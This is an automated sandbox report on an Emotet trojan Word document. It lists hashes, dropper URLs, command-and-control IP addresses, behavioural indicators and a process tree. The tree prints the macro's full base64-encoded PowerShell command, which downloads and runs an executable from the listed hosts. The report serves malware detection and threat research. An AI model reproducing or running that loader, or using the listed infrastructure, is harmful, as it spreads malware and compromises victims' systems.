emotet | 4e187ac73b149abc0e10adc49388c872b2bf2dc68d4a7285586ce13e3b6bf427

General

Target
emotet_e2_4e187ac73b149abc0e10adc49388c872b2bf2dc68d4a7285586ce13e3b6bf427_2020-08-19__063306._doc.doc
Size 174KB
Sample200819-ayzza2axh2
SHA256 4e187ac73b149abc0e10adc49388c872b2bf2dc68d4a7285586ce13e3b6bf427
MD5 f097de82b19d9d0276c8f975a35337c0
SHA1 b31c67b687ae06d7ef2f34b94cee1ab2b170dfed
SHA512 ba8b1ceb5d1f02a96b7dbf2746d9b512ef5bea853209bf8b5d75546cf7f313746568410b2bf11d724582d4c425a9c337af76c52b535670af238404ca53261ce1
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://sathobby.com/wp-admin/LJin/
exe.dropper
http://mandatory7hrsvideochatwithourkids.com/wp-admin/NAhXS/
exe.dropper
http://playschoolmatritva.com/cgi-bin/Y/
exe.dropper
http://orthowise.us/vendor/4Fy928/
exe.dropper
http://helpmepayless.com/wp-includes/pcfQhqb/
exe.dropper
http://www.mgcae.com/fonts/KNnEVB/
exe.dropper
http://potosyter.com/wp-admin/EE/

Extracted

Family

emotet

C2

64.183.73.122:80
69.30.203.214:8080
67.205.85.243:8080
222.214.218.37:4143
104.236.246.93:8080
110.145.77.103:80
89.186.91.200:443
74.120.55.163:80
95.179.229.244:8080
70.167.215.250:8080
47.146.117.214:80
209.141.54.221:8080
24.43.99.75:80
103.86.49.11:8080
142.105.151.124:443
62.138.26.28:8080
24.179.13.119:80
37.187.72.193:8080
137.59.187.107:8080
97.82.79.83:80
24.137.76.62:80
121.124.124.40:7080
5.196.74.210:8080
81.2.235.111:8080
87.106.139.101:8080
173.62.217.22:443
24.233.112.152:80
87.106.136.232:8080
104.131.11.150:443
201.173.217.124:443
85.66.181.138:80
107.185.211.16:80
68.44.137.144:443
68.188.112.97:80
113.160.130.116:8443
5.39.91.110:7080
95.213.236.64:8080
181.211.11.242:80
188.83.220.2:443
181.230.116.163:80
85.152.162.105:80
104.131.44.150:8080
203.117.253.142:80
169.239.182.217:8080
72.12.127.184:443
75.139.38.211:80
85.105.205.77:8080
168.235.67.138:7080
204.197.146.48:80
200.41.121.90:80
2.58.16.85:7080
190.160.53.126:80
109.116.214.124:443
78.24.219.147:8080
37.70.8.161:80
74.208.45.104:8080
116.203.32.252:8080
185.94.252.104:443
180.92.239.110:8080
79.98.24.39:8080
167.86.90.214:8080
152.168.248.128:443
157.245.99.39:8080
91.211.88.52:7080
41.60.200.34:80
83.169.36.251:8080
37.139.21.175:8080
47.144.21.12:443
61.19.246.238:443
139.130.242.43:80
174.137.65.18:80
157.147.76.151:80
153.163.83.106:80
98.109.204.230:80
176.111.60.55:8080
189.212.199.126:443
62.75.141.82:80
93.51.50.171:8080
190.55.181.54:443
203.153.216.189:7080
109.74.5.95:8080
174.102.48.180:80
93.147.212.206:80
139.59.60.244:8080
46.105.131.79:8080
199.101.86.142:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3308	1104	powersheLL.exe	66

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/628-13-0x0000000002430000-0x000000000243C000-memory.dmp	emotet
behavioral2/memory/628-13-0x0000000002430000-0x000000000243C000-memory.dmp	emotet
behavioral2/memory/732-16-0x0000000000530000-0x000000000053C000-memory.dmp	emotet
behavioral2/memory/732-16-0x0000000000530000-0x000000000053C000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
22	3308	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
628	Kk3n73.exe
732	devrtl.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\RMActivate_ssp_isv\devrtl.exe	Kk3n73.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
496	WINWORD.EXE
496	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3308	powersheLL.exe
3308	powersheLL.exe
3308	powersheLL.exe
732	devrtl.exe
732	devrtl.exe
732	devrtl.exe
732	devrtl.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3308	powersheLL.exe

Suspicious use of SetWindowsHookEx 15 IoCs

pid	Process
496	WINWORD.EXE
496	WINWORD.EXE
496	WINWORD.EXE
496	WINWORD.EXE
496	WINWORD.EXE
496	WINWORD.EXE
496	WINWORD.EXE
496	WINWORD.EXE
496	WINWORD.EXE
496	WINWORD.EXE
496	WINWORD.EXE
628	Kk3n73.exe
628	Kk3n73.exe
732	devrtl.exe
732	devrtl.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3308 wrote to memory of 628	3308	powersheLL.exe	77
PID 3308 wrote to memory of 628	3308	powersheLL.exe	77
PID 3308 wrote to memory of 628	3308	powersheLL.exe	77
PID 628 wrote to memory of 732	628	Kk3n73.exe	78
PID 628 wrote to memory of 732	628	Kk3n73.exe	78
PID 628 wrote to memory of 732	628	Kk3n73.exe	78

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_4e187ac73b149abc0e10adc49388c872b2bf2dc68d4a7285586ce13e3b6bf427_2020-08-19__063306._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:496

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABXAHQAagBwADcAegBmAD0AKAAnAEkANQAnACsAJwBzAG8AJwArACcAcwBoAGQAJwApADsALgAoACcAbgBlAHcALQAnACsAJwBpACcAKwAnAHQAZQBtACcAKQAgACQAZQBOAFYAOgB0AEUATQBQAFwAbwBGAEYASQBDAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAHIARQBDAHQATwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAYABFAGAAYwB1AHIASQB0AHkAUABgAFIAYABPAHQATwBDAE8ATAAiACAAPQAgACgAJwB0AGwAcwAxADIAJwArACcALAAgAHQAbABzADEAMQAsACcAKwAnACAAJwArACcAdABsAHMAJwApADsAJABKAG0AOQBxAG4AcwB0ACAAPQAgACgAJwBLACcAKwAnAGsAMwBuADcAMwAnACkAOwAkAFcAcABhADcAbAAzAGUAPQAoACcARQB5ADcAMgAnACsAJwB4ACcAKwAnAGsAaAAnACkAOwAkAEEAYgBfAGYAZAB1AGwAPQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAnAGUASABVAE8AJwArACcAZgBmAGkAYwBlADIAJwArACcAMAAxADkAJwArACcAZQBIACcAKwAnAFUAJwApAC4AIgByAGAAZQBwAEwAYABBAGMAZQAiACgAKABbAEMAaABhAFIAXQAxADAAMQArAFsAQwBoAGEAUgBdADcAMgArAFsAQwBoAGEAUgBdADgANQApACwAJwBcACcAKQApACsAJABKAG0AOQBxAG4AcwB0ACsAKAAnAC4AJwArACcAZQB4AGUAJwApADsAJABJADgAawA1AGoAYwA4AD0AKAAnAEQAJwArACcAaQA2AGMAYwAxACcAKwAnAGcAJwApADsAJABRAGEAZgAzAG8ANwA5AD0ALgAoACcAbgBlACcAKwAnAHcAJwArACcALQBvAGIAagBlAGMAdAAnACkAIABOAEUAVAAuAFcARQBiAEMATABpAEUATgBUADsAJABLADIAOQBpAHgAMQB2AD0AKAAnAGgAdAB0ACcAKwAnAHAAOgAvAC8AcwAnACsAJwBhAHQAaABvAGIAYgAnACsAJwB5AC4AYwBvAG0AJwArACcALwB3AHAALQBhAGQAbQAnACsAJwBpAG4ALwBMAEoAaQBuAC8AJwArACcAKgBoACcAKwAnAHQAdABwADoAJwArACcALwAvAG0AYQBuAGQAYQB0AG8AcgB5ACcAKwAnADcAaAByAHMAdgBpAGQAZQBvACcAKwAnAGMAaAAnACsAJwBhACcAKwAnAHQAdwBpAHQAaABvAHUAcgBrAGkAZABzAC4AJwArACcAYwAnACsAJwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBOACcAKwAnAEEAaABYAFMAJwArACcALwAqAGgAdAB0AHAAOgAvAC8AcAAnACsAJwBsAGEAeQAnACsAJwBzAGMAaABvAG8AbABtAGEAdAByACcAKwAnAGkAdAAnACsAJwB2AGEALgBjAG8AbQAvAGMAZwBpACcAKwAnAC0AYgBpAG4ALwBZAC8AKgBoAHQAdABwADoALwAvAG8AcgB0AGgAbwB3AGkAcwBlACcAKwAnAC4AdQBzAC8AdgBlAG4AZAAnACsAJwBvAHIALwA0AEYAeQA5ADIAOAAnACsAJwAvACoAaAB0ACcAKwAnAHQAcAA6AC8AJwArACcALwBoAGUAbABwAG0AZQBwAGEAeQBsAGUAJwArACcAcwBzAC4AJwArACcAYwBvAG0AJwArACcALwB3AHAALQBpAG4AYwAnACsAJwBsAHUAZABlACcAKwAnAHMALwBwACcAKwAnAGMAZgBRACcAKwAnAGgAcQBiAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AbQBnAGMAYQBlAC4AYwBvAG0AJwArACcALwAnACsAJwBmAG8AbgB0ACcAKwAnAHMALwAnACsAJwBLACcAKwAnAE4AbgBFAFYAQgAnACsAJwAvACoAaAB0AHQAcAA6AC8ALwBwAG8AdABvAHMAeQAnACsAJwB0AGUAcgAuAGMAbwBtAC8AJwArACcAdwBwACcAKwAnAC0AYQBkAG0AJwArACcAaQBuAC8ARQBFAC8AJwApAC4AIgBzAHAATABgAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEMANQBvAF8ANwA1ADUAPQAoACcARgAnACsAJwAwACcAKwAnAGwAMQB4AHIAcgAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABSAGgAawB3AGYAdQB4ACAAaQBuACAAJABLADIAOQBpAHgAMQB2ACkAewB0AHIAeQB7ACQAUQBhAGYAMwBvADcAOQAuACIAZABgAE8AdwBuAEwAbwBgAEEAZABgAEYASQBMAEUAIgAoACQAUgBoAGsAdwBmAHUAeAAsACAAJABBAGIAXwBmAGQAdQBsACkAOwAkAEUAbQBwAHEAdgAwAHAAPQAoACcATgB4ADEAYwA5ACcAKwAnAGMAJwArACcAMwAnACkAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQAQQBiAF8AZgBkAHUAbAApAC4AIgBMAEUAbgBgAGcAdABIACIAIAAtAGcAZQAgADIAOAA4ADQAOAApACAAewAuACgAJwBJAG4AdgBvACcAKwAnAGsAZQAtAEkAdAAnACsAJwBlAG0AJwApACgAJABBAGIAXwBmAGQAdQBsACkAOwAkAEkAeAA0ADcAaQBkAHMAPQAoACcASgB3AGsAMwBoACcAKwAnADMAegAnACkAOwBiAHIAZQBhAGsAOwAkAEEAOAAyAGsAMQA5AGYAPQAoACcAUQByAGkAZAAzAF8AJwArACcAZgAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFcAaQBrADUAeQA5ADAAPQAoACcAWAAnACsAJwBvACcAKwAnAGkAbQBmAGEAbAAnACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3308
- C:\Users\Admin\AppData\Local\Temp\Office2019\Kk3n73.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\Kk3n73.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:628
- - C:\Windows\SysWOW64\RMActivate_ssp_isv\devrtl.exe
    "C:\Windows\SysWOW64\RMActivate_ssp_isv\devrtl.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:732

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/496-0-0x00007FF8FF960000-0x00007FF900026000-memory.dmp

Download

memory/628-13-0x0000000002430000-0x000000000243C000-memory.dmp

Download

memory/732-16-0x0000000000530000-0x000000000053C000-memory.dmp

Download

memory/3308-7-0x00007FF8F76A0000-0x00007FF8F808C000-memory.dmp

Download

memory/3308-8-0x00000197A7C50000-0x00000197A7C51000-memory.dmp

Download

memory/3308-9-0x00000197A7E50000-0x00000197A7E51000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads